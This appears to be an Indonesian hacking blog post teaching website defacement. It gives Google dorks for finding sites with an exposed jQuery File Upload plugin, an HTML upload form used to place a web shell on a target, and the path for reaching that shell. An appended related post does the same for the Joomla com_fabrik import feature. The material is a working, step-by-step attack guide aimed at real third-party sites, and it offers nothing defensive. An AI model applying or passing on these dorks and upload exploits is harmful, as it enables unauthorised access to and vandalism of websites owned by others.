Deface dengan POC jquery file upload

ok semuanya kali ini 4./Lucif3r bakalan bagi tutor deface dengan POC jquery file upload
langsung saja siapkan alat tempurnya

  1. Dork:

/assets/global/plugins/jquery-file-upload/
 inurl:"assets/global/plugins/jquery-file-upload/"
intext:"assets/global/plugins/jquery-file-upload/"
inurl:"/assets/global/plugins/jquery-file-upload/server/php/files/"
(sisanya kembangin sendiri gunakan otak bokep lo)

      2.ekploit:/assets/global/plugins/jquery-file-upload/server/php/
http://targetlo.co.uk/[patch]/assets/global/plugins/jquery-file-upload/server/php/

    3.Csrf:


<form method="POST" action="http://www.target.com/assets/global/plugins/jquery-file-upload/server/php/"
enctype="multipart/form-data">
<input type="file" name="files[]" /><button>Upload</button>
</form>

*tulisan merah diganti dengan target lo

*tanda jaka vuln ada tulisan: {"files":[]}

*Jika sudah di save dengan format html, silahkan buka filenya dengan browser yang anda gunakan lalu upload shellnya

*access shell
http://www.target.com/[patch]/assets/global/plugins/jquery-file-upload/server/php/files/namashell.php

Sekian yang bisa saya bagikan jika kurang jelas bisa tanya sanya melalui facebook.com/4lucif3r






Related Posts:

Cara Deface Poc Com_Fabrik

langsung aja ni tutornya ,kurang jelas tanya1. Ketik dork berikut ke google : inurl:index.php?option=com_fabrik 2. Akan ada banyak web, anda buka terserah yang mana3. Masukkan exploit ini : index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1

Contoh : www.site.com/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=14. Jika tidak berhasil cari target lain. Jika berhasil akan muncul form upload seperti iniCara Deface Web Dengan Exploit Com Fabrik5. Klik "pilih file" untuk memilih shell, dan klik "Import CSV untuk mengupload6. Jika berhasil, buka shell anda dengan format www.site.com/media/namashell.php7. Dan muncullah shell kesayangan anda. Namun jika tidak muncul, itu karena web tersebut tidak mendukung file berformat php maupun html.Selamat mencoba ^_^livetarget nyusul ,ato pm ke fb ane https://www.facebook.com/4lucif3r 4./Lucif3r wes here

Related Posts: